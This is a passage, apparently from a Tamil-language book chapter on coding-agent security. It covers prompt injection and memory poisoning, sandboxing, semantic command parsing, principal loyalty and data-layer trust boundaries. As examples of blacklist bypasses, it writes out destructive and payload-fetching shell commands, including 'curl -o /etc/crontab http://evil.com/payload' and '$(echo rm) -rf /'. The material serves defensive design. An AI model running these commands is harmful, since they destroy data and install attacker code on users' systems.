இந்தப் பகுதி குறியீட்டு ஏஜெண்ட்டின் பாதுகாப்பு அரண்களை ஒரு ஒருங்கிணைந்த விவாதமாகத் திரட்டுகிறது: முதலில் அச்சுறுத்தல் மாதிரி—எந்த அபாயங்கள் மிகவும் கொடூரமானவை; பின்னர் பாதுகாப்பு வலையாக தனிமைப்படுத்தல்—சாண்ட்பாக்ஸின் நெட்வொர்க் வெளியேற்றம், கோப்பு முறைமை மற்றும் வள வரம்புகள்; அடுத்து செயல்பாட்டு நேர பாதுகாப்பு—கட்டளைகளின் சொற்பொருள் பாகுபடுத்தல், மற்றும் பாதுகாப்பு சோதனைகளை "கண்ணுக்குத் தெரியாததாக" மாற்றும் ஊக செயலாக்கம்; இறுதியாக நம்பிக்கை மற்றும் விசுவாசம்—பல தரப்பு பிரதிநிதித்துவத்தில் ஏஜெண்ட் யாருக்கு சேவை செய்கிறது, மற்றும் AI எழுதிய குறியீடே நம்பத்தகாததாக இருக்கும்போது நம்பிக்கை எல்லையை தரவு அடுக்குக்கு எவ்வாறு இறக்குவது. இவற்றில் அச்சுறுத்தல் மாதிரி, விசுவாசம் மற்றும் நம்பிக்கை எல்லை விவாதங்கள் அனைத்து ஏஜெண்ட்களுக்கும் பொதுவானவை; சாண்ட்பாக்ஸ் மற்றும் கட்டளை பாகுபடுத்தல் குறியீட்டு ஏஜெண்ட்களுக்கு உரிய கூடுதல் அம்சங்கள்.

இந்த "இறையாண்மை ஏஜெண்ட்" முன்னுதாரணம் கடுமையான பாதுகாப்பு சவால்களையும் அறிமுகப்படுத்துகிறது. ஒரு குறியீட்டு ஏஜெண்ட் (Coding Agent) கோப்புகளைப் படிக்கவும் எழுதவும், கட்டளைகளை இயக்கவும், நெட்வொர்க்குகளை அணுகவும் அனுமதிகளைக் கொண்டுள்ளது, அதாவது தீங்கிழைக்கும் வழிமுறைகள் செலுத்தப்பட்டால், அது மீள முடியாத சேதத்தை ஏற்படுத்தக்கூடும். டெவலப்பர் மற்றும் சுயாதீன ஆராய்ச்சியாளர் சைமன் வில்லிசன் தனது புகழ்பெற்ற "Lethal Triad" மூலம் இந்த அபாயத்தை சுருக்கமாகக் கூறினார் — மூன்று கூறுகளும் இருக்கும்போது, அவை ஒரு முழுமையான தாக்குதல் வளையத்தை உருவாக்கி, அமைப்பை அதிக ஆபத்தில் ஆழ்த்துகின்றன:

1. தனிப்பட்ட தரவுக்கான அணுகல் — ஏஜெண்ட் பயனர் கோப்புகள் மற்றும் கடவுச்சொல் மேலாளர்களைப் படிக்க முடியும்.
2. நம்பத்தகாத உள்ளடக்கத்திற்கு வெளிப்பாடு — செயலாக்கப்பட்ட மின்னஞ்சல்கள் மற்றும் வலைப்பக்கங்களில் தீங்கிழைக்கும் பேலோடுகள் இருக்கலாம்.
3. வெளிப்புறமாக தொடர்பு கொள்ளும் திறன் — இது மின்னஞ்சல்களை அனுப்பவும் கட்டளைகளை இயக்கவும் முடியும்.

இதனால் தாக்குதல் பாதை மூடப்படுகிறது: நம்பத்தகாத உள்ளடக்கத்தில் மறைந்திருக்கும் தீங்கிழைக்கும் வழிமுறைகள் ஏஜெண்டுக்குள் நுழைந்து, அதை தனிப்பட்ட தரவைப் படிக்கத் தூண்டி, பின்னர் வெளிப்புற சேனல்கள் மூலம் அதை வெளியேற்றுகின்றன. கவனிக்கவும், மூன்று கூறுகளும் இருப்பது மட்டுமே, எந்த கூடுதல் நிபந்தனைகளும் இல்லாமல், தானாகவே போதுமான அளவு ஆபத்தானது. இதன் அடிப்படையில், ஆசிரியர் ஒரு நான்காவது பரிமாணத்தைச் சேர்க்கிறார் — நிலையான நினைவகம் (Persistent Memory). இது ஒரு இணையான நான்காவது தேவையான நிபந்தனை அல்ல, மாறாக தாக்குதல்களுக்கான ஒரு பெருக்கி: ஒரு தாக்குபவர் வெளித்தோற்றத்தில் பாதிப்பில்லாத சார்புகள் அல்லது தீங்கிழைக்கும் வழிமுறைகளை ஏஜெண்டின் நீண்டகால நினைவகத்தில் எழுத முடியும், இது அவற்றை அமர்வுகள் முழுவதும் உறங்க வைத்து சரியான நேரத்தில் தூண்டப்பட அனுமதிக்கிறது, இது ஒரு-முறை தாக்குதலை, காத்திருந்து காலப்போக்கில் பெருகும் அச்சுறுத்தலாக மாற்றுகிறது.

இந்த நான்கு புள்ளிகளை நான்கு வகையான எல்லைகளாக சுருக்கமாகக் கூறலாம்: தரவு எல்லை, உள்ளீட்டு நம்பிக்கை எல்லை, வெளியீட்டு தாக்க எல்லை மற்றும் குறுக்கு-அமர்வு எல்லை. OpenClaw போன்ற முழு அனுமதி கொண்ட உள்ளூர் ஏஜெண்ட் இந்த நான்கையும் கொண்டுள்ளது, இது பாதுகாப்பு பாதுகாப்பை அத்தகைய ஏஜெண்ட்கள் எதிர்கொள்ள வேண்டிய ஒரு முக்கிய சவாலாக ஆக்குகிறது.

இதனால்தான் மூடிய-மூல வணிக ஏஜெண்ட்கள் (Claude Cowork (Anthropic-இன் பொது-நோக்க ஏஜெண்ட், அறிவுப் பணிகளுக்காக, Claude Code-இன் ஏஜெண்ட் கட்டமைப்பை மீண்டும் பயன்படுத்தி, உள்ளூர் கோப்புகளைப் படிக்கவும் எழுதவும், பல அலுவலக பயன்பாடுகளில் பல-படி பணிகளை முடிக்கவும் வல்லது)) பழமைவாத அனுமதி உத்திகளைத் தேர்ந்தெடுத்துள்ளன—தொழில்நுட்பம் இயலாது என்பதால் அல்ல, மாறாக பாதுகாப்பு அபாயங்கள் மிக அதிகமாக இருப்பதால். இன்ஜெக்ஷன் (prompt injection) அச்சுறுத்தல்களுக்கு எதிராக, உள்ளீட்டு வடிகட்டலை மட்டுமே நம்பியிருப்பது பெரும்பாலும் பயனற்றது. அனைத்து தாக்குதல்களையும் அடையாளம் காண்பதில் கவனம் இல்லை, மாறாக ஏஜெண்டுக்கு இன்ஜெக்ஷன் ஏற்பட்டாலும், அது உண்மையில் ஆபத்தான செயல்களைச் செய்ய வாய்ப்பு இல்லை என்பதை உறுதி செய்வதில் கவனம் உள்ளது. பாதுகாப்பு அமைப்பு முந்தைய இரண்டு அத்தியாயங்களில் அடுக்கு அடுக்காக நிறுவப்பட்டுள்ளது: சூழல் அடுக்கு பாதுகாப்பு — வெளிப்புற உள்ளடக்க மூலங்களைக் குறித்தல், கட்டமைக்கப்பட்ட பங்கு தனிமைப்படுத்தல், உள்ளீட்டு சுத்திகரிப்பு — அத்தியாயம் 2-இல் உள்ள இன்ஜெக்ஷன் பகுதியைப் பார்க்கவும்; செயலாக்க அடுக்கு பாதுகாப்பு — Sidecar சுயாதீன மதிப்பாய்வு, Human in the loop, குறைந்தபட்ச சலுகை மற்றும் சலுகை பிரிப்பு — அத்தியாயம் 4-ஐப் பார்க்கவும். ஒரே சூழலுக்குள் இருக்கும் ஒரு ஏஜெண்டுக்கு தனக்கு இன்ஜெக்ஷன் ஏற்பட்டுள்ளதா என்பதைத் தீர்மானிப்பது கடினம், எனவே முக்கியமான செயல்பாடுகள் அந்த சூழலுக்கு வெளியே உள்ள வழிமுறைகளால் மதிப்பாய்வு செய்யப்பட வேண்டும். இந்தக் கொள்கை இரு அத்தியாயங்களிலும் ஊடுருவி உள்ளது. இந்த அத்தியாயம் குறியீட்டு ஏஜெண்ட்களுக்கு (Coding Agents) மட்டுமே உரிய மூன்று குறிப்பிட்ட கூடுதல் அம்சங்களைச் சேர்க்கிறது:

• கட்டளை சொற்பொருள் பாகுபாடு — ஷெல் கட்டளைகளின் சேர்க்கை வெடிப்பு (combinatorial explosion) முக்கியச் சொல் கருப்புப் பட்டியல்களைப் பயன்படுத்த முடியாததாக்குகிறது; ஒரு கட்டளையின் உண்மையான விளைவை சொற்பொருள் மட்டத்தில் புரிந்து கொள்ள வேண்டும் (இந்தப் பகுதியின் பிற்பகுதியில் விரிவாக விளக்கப்பட்டுள்ளது);
• சாண்ட்பாக்ஸ் தனிமைப்படுத்தல் மற்றும் பிணைய வெளியேற்றக் கட்டுப்பாடு — குறியீடு செயல்படுத்தல் என்பது குறியீட்டு ஏஜெண்ட்களுக்கு மட்டுமே உரிய தாக்குதல் மேற்பரப்பு ஆகும்; தனிமைப்படுத்தல் நிலைகள் மற்றும் வெளியேற்ற உத்திகளுக்கான பொறியியல் தேர்வுகள் இந்தப் பகுதியின் பிற்பகுதியில் உள்ளடக்கப்பட்டுள்ளன;
• நிலையான நினைவகத்திற்கான குறுக்கு-அமர்வு பாதுகாப்பு — இது Lethal Triad-க்கு அப்பால் இந்த அத்தியாயத்தில் குறிப்பாக வலியுறுத்தப்பட்ட ஒரு நீட்டிக்கப்பட்ட உருப்படி: நீண்ட கால நினைவகத்தில் எழுதப்பட்ட உள்ளடக்கம், வெளிப்புற உள்ளடக்கத்தைப் போலவே அதே நம்பிக்கை மதிப்பாய்வுக்கு உட்படுத்தப்பட வேண்டும், தீங்கிழைக்கும் வழிமுறைகள் MEMORY.md-இல் மறைந்து நீண்ட காலத்திற்கு செயல்படுவதைத் தடுக்கிறது.

இந்த மூன்று கூடுதல் அம்சங்களும் முறையே சரிபார்ப்பு, செயலாக்கம் மற்றும் தரவு அடுக்குகளில் விழுகின்றன, முந்தைய இரண்டு அத்தியாயங்களின் பாதுகாப்பு அமைப்பை நிறைவு செய்கின்றன. இந்த உத்திகள் அபாயத்தை முற்றிலுமாக அகற்ற முடியாது, ஆனால் ஏஜெண்டின் தாக்குதல் மேற்பரப்பைக் குறைக்க முடியும்.

பாதுகாப்பு வலையாக தனிமைப்படுத்தல்: குறியீடு செயலாக்க சாண்ட்பாக்ஸுக்கான பொறியியல் தேர்வுகள். சாண்ட்பாக்ஸ் என்பது ஒரு சுவிட்ச் அல்ல; அது ஒரு தொடர் பொறியியல் முடிவுகளாகும். அத்தியாயம் 4 ஏற்கனவே "ஏன் தனிமைப்படுத்த வேண்டும்", தனிமைப்படுத்தல் வழிமுறைகளின் படிநிலைக் கொள்கைகள் (மூன்று அடுக்கு நிறமாலை: செயல்முறை-நிலை தனிமைப்படுத்தல், கொள்கலன்கள், microVM), மற்றும் "தனிப்பட்ட உள்ளூர் இயந்திரங்களுக்கு செயல்முறை-நிலை, ஒற்றை குத்தகைதாரர் கிளவுட்டுக்கு கொள்கலன்கள், பல குத்தகைதாரர் அல்லது நம்பத்தகாத குறியீட்டுக்கு microVM/gVisor" என்ற தேர்வு விதியை பதிலளித்துள்ளது; இங்கு அந்த நிறமாலையை மீண்டும் சொல்லாமல், குறியீட்டு ஏஜெண்டை செயல்படுத்தும்போது தவிர்க்க முடியாத, அத்தியாயம் 4 இல் உள்ளடக்கப்படாத நான்கு கூடுதல் அம்சங்களை மட்டுமே சேர்க்கிறோம்: நெட்வொர்க் வெளியேறலை எவ்வாறு நிர்வகிப்பது, கோப்பு முறைமையில் எவ்வளவு ஏற்றுவது, வளங்களை எவ்வாறு கட்டுப்படுத்துவது, மற்றும் நிலையான அமர்வுகளை தனிமைப்படுத்தலுடன் எவ்வாறு சமரசம் செய்வது.

நெட்வொர்க் வெளியேறல் கட்டுப்பாடு. இது மிகவும் எளிதில் கவனிக்கப்படாத ஆனால் மிகவும் முக்கியமான உருப்படி: இயல்பாக நெட்வொர்க்கிலிருந்து துண்டிக்கவும், மற்றும் வெள்ளை பட்டியல் ப்ராக்ஸி மூலம் தேவைக்கேற்ப வரையறுக்கப்பட்ட இலக்குகளுக்கு (தொகுப்பு மூலங்கள், ஆவண தளங்கள், பணியால் வெளிப்படையாக தேவைப்படும் ஏபிஐகள்) மட்டுமே அணுகலை அனுமதிக்கவும். மரண முக்கோணத்தின் உருப்படி 3 — "வெளிப்புறமாக தொடர்பு கொள்ளும் திறன்" — ஐ திரும்பிப் பார்க்கும்போது, நெட்வொர்க் வெளியேறல் கட்டுப்பாடு அதன் செயல்பாட்டு அடுக்கு பாதுகாப்பு ஆகும்: ஒரு ப்ராம்ப்ட் இன்ஜெக்ஷன் (prompt injection) வெற்றிபெற்று தீங்கிழைக்கும் குறியீடு சாண்ட்பாக்ஸின் உள்ளே முக்கியமான தரவைப் படித்தாலும், வெளியேறல் இல்லாமல், அதை அனுப்ப முடியாது. ஒவ்வொரு இன்ஜெக்ஷனையும் அடையாளம் காண முயற்சிப்பதை விட, தரவு கசிவு சேனலை துண்டிப்பது மிகவும் உறுதியான பாதுகாப்பு அரணாகும்.

கோப்பு முறைமை தனிமைப்படுத்தல் நோக்கம். மூலக் குறியீடு கோப்பகத்தை படிக்க-மட்டும் ஆக ஏற்றவும் (ஏஜெண்ட் திருத்தும் கருவிகள் மூலம் குறியீட்டை மாற்றுகிறது, மேலும் உருவாக்கப்பட்ட இணைப்புகள் வட்டில் எழுதப்படுவதற்கு முன் மதிப்பாய்வு செய்யப்படுகின்றன, அல்லது ஒரு நகல் எழுதக்கூடிய பணியிட கோப்பகத்தில் ஏற்றப்படுகிறது); ஒரு தனி எழுதக்கூடிய பணியிட கோப்பகம் உருவாக்கப்பட்ட கலைப்பொருட்கள் மற்றும் இடைநிலை கோப்புகளை வைத்திருக்கிறது; நற்சான்றிதழ் கோப்புகள் (~/.ssh, விசைகள், டோக்கன்கள்) சாண்ட்பாக்ஸில் ஏற்றப்படவே இல்லை—கண்ணுக்குத் தெரியாத தரவை கசியவிட முடியாது, இது மரண முக்கோணத்தின் உருப்படி 1 உடன் ஒத்துப்போகிறது.

வள வரம்புகள் மற்றும் நேரக்கட்டுப்பாடுகள். CPU, நினைவகம் மற்றும் வட்டுக்கான ஒதுக்கீடுகளை அமைக்கவும், மேலும் ஒரு சுவர்-கடிகார நேரக்கட்டுப்பாட்டையும் அமைக்கவும், முடிவிலா சுழல்கள், ஃபோர்க் குண்டுகள் (கணினி செயலிழக்கும் வரை விரைவாக தன்னை நகலெடுக்கும் ஒரு செயல்முறை) மற்றும் வரம்பற்ற வட்டு எழுத்துக்களை எதிர்கொள்ள. ஒரு நடைமுறை விவரம்: நேரக்கட்டுப்பாடு மற்றும் வரம்பு மீறல்கள் செயல்முறையை அமைதியாக கொல்லாமல், ஏஜெண்ட்டுக்கு ஒரு கட்டமைக்கப்பட்ட பிழையை ("120 வினாடிகளுக்குப் பிறகு செயலாக்கம் நிறுத்தப்பட்டது, கடைசி வெளியீடு...") திருப்பி அனுப்ப வேண்டும், இது ஏஜெண்ட்டுக்கு அடுத்த முறை அதன் உத்தியை மறுபரிசீலனை செய்ய வாய்ப்பளிக்கிறது.

நிலையான அமர்வுகள் மற்றும் தனிமைப்படுத்தலை சமரசம் செய்தல். பின்னர் வரும் "கட்டளை செயல்படுத்தும் சூழலில் நிலை நிலைத்தன்மை" பகுதி நீண்ட கால முனைய அமர்வுகளை பராமரிப்பதை ஆதரிக்கிறது, அதே நேரத்தில் தனிமைப்படுத்தல் கொள்கை அப்புறப்படுத்தக்கூடிய சூழல்களை ஆதரிக்கிறது—இவை இரண்டிற்கும் இடையே முரண்பாடு உள்ளது. சமரச அணுகுமுறை: சாண்ட்பாக்ஸின் உள்ளே அமர்வை உயிருடன் வைத்திருங்கள், முனைய அமர்வின் வாழ்க்கைச் சுழற்சி சாண்ட்பாக்ஸின் வாழ்க்கைச் சுழற்சியை கண்டிப்பாக மீறாது, மேலும் அமர்வு நிலை ஒருபோதும் ஹோஸ்ட் இயந்திரத்திற்கு தப்பிக்காது; நீண்ட கால இடைவெளிகளில் மீட்பு தேவைப்படும் சூழ்நிலைகளுக்கு (முன்னர் குறிப்பிடப்பட்ட Sessionless கட்டமைப்பு போன்றவை), சாண்ட்பாக்ஸ் ஸ்னாப்ஷாட்கள் அல்லது "பணியிட கோப்பு நிலைத்தன்மை + ஸ்கிரிப்ட்கள் மூலம் சூழல் மறுகட்டமைப்பு" ஆகியவற்றை நம்பி நிலையை மீட்டெடுக்கவும், சாண்ட்பாக்ஸின் ஆயுளை காலவரையின்றி நீட்டிக்காமல். வேறு வார்த்தைகளில் கூறுவதானால், நிலைத்தன்மை பெறுவது தணிக்கை செய்யக்கூடிய நிலை விளக்கங்கள் (கோப்புகள், ஸ்கிரிப்ட்கள், மேனிஃபெஸ்ட்கள்), தெளிவற்ற இயங்கும் செயல்முறைகள் அல்ல.

பாதுகாப்பு: கீவேர்டு பிளாக்லிஸ்ட்களை விட சொற்பொருள் பாகுபடுத்தல் (Semantic Parsing over Keyword Blacklists). அத்தியாயம் 1-ல், சரிபார்ப்பு அடுக்கு (verification layer) "பொருத்துதலை அடிப்படையாகக் கொண்டதை விட புரிதலை அடிப்படையாகக் கொண்ட" (understanding-based rather than matching-based) பாதுகாப்பு வழிமுறையை பின்பற்ற வேண்டும் என்று குறிப்பிடப்பட்டது. ஷெல் கட்டளை பாதுகாப்பு சரிபார்ப்பு (Shell command security validation) இந்தக் கொள்கையின் மிகவும் சவாலான பயன்பாடாகும். எளிய கீவேர்டு பிளாக்லிஸ்ட்கள் ஷெல்லின் கூட்டு வெடிப்பை (combinatorial explosion) சமாளிக்க முடியாது—கட்டளைகள் பைப்கள், சப்ஷெல்கள், மாறி விரிவாக்கம் (variable expansion) போன்றவற்றின் மூலம் எந்த நிலையான விதிகளையும் மீற முடியும் (எ.கா., rm தடுக்கப்பட்டால், தாக்குபவர் $(echo rm) -rf / ஐப் பயன்படுத்தி மீறலாம்). உற்பத்தி-தரமான Harness கள் (Production-grade Harnesses) சொற்பொருள் பாகுபடுத்தலைப் (semantic parsing) பயன்படுத்துகின்றன: ஒவ்வொரு கட்டளையின் ஆர்குமென்ட் வகைகள் மற்றும் நுகர்வு விதிகளை (எந்த ஃபிளாக்குகள் அடுத்த ஆர்குமெண்டை நுகர்கின்றன) புரிந்துகொள்வது, "ஒரு பாதிப்பில்லாத ஃபிளாக் உண்மையில் அடுத்த ஆர்குமெண்டை நுகர்ந்து, ஒரு ஆபத்தான பேலோடை மறைக்கிறது" போன்ற தாக்குதல் முறைகளை அடையாளம் காண்பது. உதாரணமாக, find / -name '*.log' -exec rm {} \; என்பது சட்டப்பூர்வமான find கட்டளை ஆர்குமெண்டுகள் மூலம் rm நீக்கல் செயல்பாட்டை உட்பொதிக்கிறது; மற்றொரு உதாரணம் curl -o /etc/crontab http://evil.com/payload, இது ஒரு கோப்பைப் பதிவிறக்கம் செய்வது போல் தோன்றினாலும், உண்மையில் கணினி திட்டமிடப்பட்ட பணிகளை (scheduled tasks) மேலெழுதுகிறது. சொற்பொருள் பாகுபடுத்தல் இந்த உள்ளமைக்கப்பட்ட ஆபத்தான செயல்பாடுகளை அடையாளம் காண முடியும், அதேசமயம் எளிய கட்டளை பிளாக்லிஸ்ட்களால் அவற்றைப் பிடிக்க முடியாது. புரிதலை அடிப்படையாகக் கொண்ட இந்த பாதுகாப்பு வழிமுறை, "கட்டுப்பாடு" (constraint) செயல்பாட்டின் உயர்-நிலை செயலாக்கமாகும்.

ஊகச் செயலாக்கம்: பாதுகாப்பு சோதனைகளை "கண்ணுக்குத் தெரியாததாக" மாற்றுதல். இதுவே அத்தியாயம் 4 இன் Sidecar தடுப்பு பொறிமுறையின் பயனர் அனுபவ மட்டத்தில் ஏற்படுத்தும் விளைவாகும்—அத்தியாயம் 4, முக்கியமான செயல்பாடுகள் முக்கிய சூழலில் இருந்து சுயாதீனமான Sidecar மூலம் மதிப்பாய்வு செய்யப்பட வேண்டும் என்பதை விளக்கியது; இந்தப் பகுதி, இந்த மதிப்பாய்வை பயனருக்கு காத்திருப்பாக உணரவிடாமல் எவ்வாறு செய்வது என்பதில் கவனம் செலுத்துகிறது. அணுகுமுறை, "காட்சிப்படுத்தல்" மற்றும் "வெளியீடு" ஆகியவற்றைப் பிரித்து அவற்றை இணையாக இயக்குவதாகும்: Agent ஒரு tool call ஐ இயக்கவிருக்கும் போது, கணினி ஒரே நேரத்தில் இடைமுகத்தில் ஒரு முன்னேற்றக் குறிப்பைக் காட்டுகிறது (எ.கா., "src/main.py கோப்பைப் படிக்கிறது...") மற்றும் பின்னணியில் பாதுகாப்புச் சோதனையை இயக்குகிறது. இங்கு பொதுவாகப் பயன்படுத்தப்படும் ஒரு ஒப்புமை குறித்து தெளிவுபடுத்துதல் அவசியம்: இது CPU இன் ஊகச் செயலாக்கத்திலிருந்து வேறுபட்டது—CPU தவறாக யூகித்தால், அது கணக்கிடப்பட்ட முடிவுகளை நிராகரித்து நிலையை மீட்டெடுக்க வேண்டும்; இங்கே, முன்கூட்டிய செயல் என்பது பக்க விளைவுகள் இல்லாத UI குறிப்பு மட்டுமே, இது எந்த உண்மையான நிலையையும் மாற்றாது. சோதனை தோல்வியுற்றால், மீட்டெடுப்பு தேவையில்லை; குறிப்பு வெறுமனே "உறுதிப்படுத்தலுக்காக காத்திருக்கிறது" என மாற்றப்படும். பெரும்பாலான சந்தர்ப்பங்களில், பாதுகாப்புச் சோதனை பயனர் கவனிப்பதற்கு முன்பே முடிந்துவிடும், எனவே பயனர் கூடுதல் தாமதத்தை உணரமாட்டார்; விரைவான முடிவு சாத்தியமில்லாதபோது மட்டுமே, கணினி உண்மையில் இடைநிறுத்தப்பட்டு உறுதிப்படுத்தலுக்காக காத்திருக்கிறது. இதுவே Harness வடிவமைப்பின் உயர்ந்த நிலை: பயனர் அனுபவத்தை தியாகம் செய்யாமல் பாதுகாப்பு.

ஏஜெண்ட் யாருக்கு சேவை செய்கிறது: பல தரப்பு பிரதிநிதித்துவத்தின் கீழ் விசுவாசம்.

முந்தைய பாதுகாப்பு வழிமுறைகள் "கட்டளைகள் தீங்கிழைக்கும் விதத்தில் செயல்படுத்தப்படுவதை" தடுக்கின்றன; இதைவிட நுட்பமான ஒரு பாதுகாப்புப் பிரச்சினை உள்ளது—முதன்மை விசுவாசம் (principal loyalty): ஏஜெண்ட் உண்மையில் யார் பக்கம் உள்ளது. மாதிரிகள் ஒரு எளிய இயல்புநிலைக் கொள்கையுடன் பயிற்றுவிக்கப்படுகின்றன—"என்னுடன் பேசுபவர் யாராக இருந்தாலும், அவர்களுக்கு உதவ முயற்சிப்பேன்"—ஆனால் நிஜ உலக ஏஜெண்ட்கள் பெரும்பாலும் பல்தரப்பு பிரதிநிதித்துவ சூழ்நிலையில் செயல்படுகின்றன: முதன்மை நபர் சார்பில் செயல்படும்போதே, முரண்பட்ட நலன்களைக் கொண்ட மூன்றாம் தரப்பினரைக் கையாள்கின்றன. உங்களுக்காக விலை பேசும் ஒரு ஏஜெண்ட்டின் எதிரே இருப்பவர் "உதவி தேவைப்படும் பயனர்" அல்ல, பேச்சுவார்த்தை எதிரி. இங்கு "யார் பேசுகிறார்களோ அவர்களுக்கு உதவு" என்பது ஆபத்தான இயல்புநிலை—எதிரி பேசத் தொடங்கினால் மட்டுமே போதும், உங்கள் ஏஜெண்டைத் திருப்பிவிடலாம்.

முன்னணி மாதிரிகளை இந்தச் சூழ்நிலையில் வைத்துப் பார்த்தால், ஒரு தெளிவான விசுவாச நிறமாலை தெரிகிறது, இரு முனைகளும் தோல்வியடைகின்றன[^ch5-1]: ஒரு முனை அதிக நேர்மை—முதன்மை நபரின் தனிப்பட்ட தகவலை (எ.கா., "எங்கள் குறைந்தபட்ச விலை 12,000") எதிரிக்கு நேரடியாகக் கொடுத்து, சில சுற்று அழுத்தத்திற்குப் பிறகு சரணடைகிறது; மறுமுனை அதிக சந்தேகம்—முதன்மை நபரின் நியாயமான கோரிக்கைகளையும் மறுத்து, பணியை முடிக்கத் தவறுகிறது. சிரமம் என்னவென்றால், இந்த இரு தோல்விகளும் ஒரு ஏற்ற-இறக்குப் பலகையின் முனைகள்—கசிவை அடைத்தால் அதிக மறுப்பை நோக்கிச் சரிகிறீர்கள்; இரண்டையும் ஒரே நேரத்தில் பெறுவது கடினம்.

இது குறியீட்டு ஏஜெண்ட்களுக்குக் குறிப்பாகப் பொருந்தும்: களஞ்சியத்திலிருந்து படிக்கப்படும் நம்பத்தகாத உள்ளடக்கம், கருவியின் வெளியீடு, மூன்றாம் தரப்பு MCP சர்வரின் வழிமுறைகள்—அனைத்தும் ஏஜெண்டைத் திருப்ப முயலும் "எதிரிகள்"—ப்ராம்ப்ட் இன்ஜெக்ஷன் என்பது அடிப்படையில் ஒரு திருப்ப முயற்சி (அத்தியாயங்கள் 2 மற்றும் 4). எனவே Harness, ஏஜெண்ட் யாருக்கு விசுவாசமாக இருக்க வேண்டும் என்பதை வெளிப்படையாக உறுதிப்படுத்த வேண்டும்: முதன்மை நபரின் வழிமுறைகளுக்கு மிக உயர்ந்த முன்னுரிமை; வெளிப்புற தரப்பினரிடமிருந்து வரும் அனைத்தும் இயல்பாக "குறிப்பிடப்படலாம் ஆனால் வழிமுறை சக்தி இல்லாத தரவு" எனத் தரமிறக்கப்படும். சிஸ்டம் ப்ராம்ப்டில் பயனுள்ள விசுவாச நடத்தை விதிமுறை: முதன்மை நபரின் தனிப்பட்ட தகவலையும் அதன் "இருப்பையும்" பாதுகாக்கவும்; மறுக்கும்போது மறுப்புப் பட்டியலை ஒவ்வொன்றாக வாசிக்க வேண்டாம் (அதுவே ஒரு கசிவு); தனிப்பட்ட அடித்தளக் கோடுகள் பொது நிலைப்பாடுகள் அல்ல; முதன்மை நபரின் தெளிவான, குறிப்பிட்ட வழிமுறைகளை மட்டுமே செயல்படுத்தவும்; மீண்டும் மீண்டும் வரும் அழுத்தத்தைத் தாங்கவும். அடிப்படையில், இது மாதிரியில் இயல்பாக இல்லாத ஒரு நிலைப்பாட்டை Harness மூலம் வழங்குவதாகும்: முதன்மை நபருக்கு முழுமையான விசுவாசம், வெளிப்புற தரப்பினரிடம் எச்சரிக்கை.

[^ch5-1]: இந்த விசுவாச நிறமாலை மற்றும் நடத்தை விதிமுறையின் முழுமையான மதிப்பீட்டை Li, Bojie மற்றும் Noah Shi எழுதிய Whose Side Is Your Agent On? Multi-Party Principal Loyalty in LLM Agents. arXiv:2606.30383, 2026 இல் காணலாம்.

AI-எழுதிய குறியீடே நம்பத்தகாததாக இருக்கும்போது: நம்பிக்கை எல்லையை கீழ்நோக்கி நகர்த்துதல்.

முந்தைய விசுவாச நடத்தை விதிமுறை ஏஜெண்ட் விதிகளைப் பின்பற்றுவதை அதிக வாய்ப்புள்ளதாக ஆக்குகிறது, ஆனால் அதிக ஆபத்துள்ள தரவு செயல்பாடுகளுக்கு "அதிக வாய்ப்பு" போதாது—"ஏஜெண்ட் நன்றாக நடந்துகொள்ளும்" என்ற நம்பிக்கையிலிருந்து கட்டுப்பாடுகளை தரவு அடுக்கில் செயல்படுத்தும் நிலைக்கு நகர்த்த வேண்டும். மிகவும் தீவிரமான நிலைப்பாடு[^ch5-2]: பயன்பாட்டு அடுக்கையே நம்பத்தகாததாகக் கருதி, தரவு மாறாதன்மைகளை அதற்குக் கீழே தள்ளி அமல்படுத்துதல். கடந்த முப்பது ஆண்டுகளாக, மென்பொருளின் ஒருமைப்பாட்டு எல்லை பயன்பாட்டு அடுக்கில் இருந்தது—யார் செயல்பட முடியும், எந்த மதிப்புகள் சட்டப்பூர்வமானவை என்பதை handler குறியீடு தீர்மானித்தது, தரவுத்தளம் அதை நிபந்தனையின்றி நம்பியது; ஆனால் LLM உருவாக்கிய handler கள் மனித எழுத்தாளர்கள் வழக்கமாகச் சேர்க்கும் அனுமதி மற்றும் ஒருமைப்பாட்டு சரிபார்ப்புகளை அடிக்கடி தவறவிடுகின்றன, தன்னாட்சி ஏஜெண்ட்கள் நேரடியாக உற்பத்தித் தரவில் செயல்படுகின்றன—இந்த அடிப்படை உடைந்துவிட்டது. புதிய அணுகுமுறை (அனுமதி-உட்பொதிக்கப்பட்ட தரவு பொருள்கள், Permission-Embedded Data Objects எனப்படும்) ஒவ்வொரு தரவு நிறுவனத்தையும் ஒரு மனித-மதிப்பாய்வு செய்யப்பட்ட திட்டவரைவில் (schema) அறிவிப்பு அனுமதி விதிகள், சரிபார்ப்புகள் மற்றும் விளைவு அறிக்கைகளைச் சுமக்கச் செய்து, ஒரு இயக்க நேர குழாய் ஒவ்வொரு எழுதுதலிலும் அவற்றை அமல்படுத்துகிறது. முக்கிய அடிப்படைக் கூறு ஒவ்வொரு செயல்பாட்டிலும் இணைக்கப்பட்ட அணுகல் சூழல் (access context): மீளுருவாக்கம் செய்யப்பட்ட handler அது சேவை செய்யும் பயனரின் அனுமதிகளுடன் இயங்குகிறது, தன்னாட்சி ஏஜெண்ட் அதன் சொந்த வரையறுக்கப்பட்ட அடையாளத்துடன் (scoped principal) இயங்குகிறது—ஏஜெண்ட் விசுவாசமாக இருக்கும் என்று நம்புவதற்குப் பதிலாக, அதை கட்டிடக்கலை ரீதியாக அனுமதி-வரையறுக்கப்பட்ட நிறுவனமாக தரமிறக்குங்கள், அது திருப்பப்பட்டாலும் எல்லையை மீற முடியாது.

ஒரே தொகுப்பு ப்ராம்ப்டுகளில் பல முக்கிய நீரோட்ட தீர்வுகளுடன் ஒப்பிடும்போது, இந்த வழிமுறை அறிவிக்கப்பட்ட மாறாதன்மைகளை மீறும் எந்த எழுதுதலும் இல்லை என்பதை அடைகிறது; அதேசமயம் வெற்று SQL, LLM-எழுதிய சரிபார்ப்புகள், அரசியலமைப்பு ப்ராம்ப்டுகள், செயல் எல்லை இடைமறிப்புகள் சில முதல் டஜன் கணக்கான மீறல்களை உள்ளே விடுகின்றன. இது "சரியாக இருக்க அதிக வாய்ப்பு" அல்ல, "தவறாக இருக்க இயலாது"—செலவு ஒரு எழுத்துக்கு சுமார் 2 கூடுதல் மில்லி விநாடிகள் மட்டுமே. நிச்சயமாக, உத்தரவாதம் நிபந்தனைகளுடன்: திட்டவரைவு விரும்பிய அனைத்து மாறாதன்மைகளையும் கைப்பற்ற வேண்டும், பயன்பாடு நம்பத்தகாத அடுக்கு சேமிப்பகத்தைத் தவிர்த்து நேரடியாக தரவுத்தளத்தை அணுகும் அனைத்து பாதைகளையும் தடுக்க 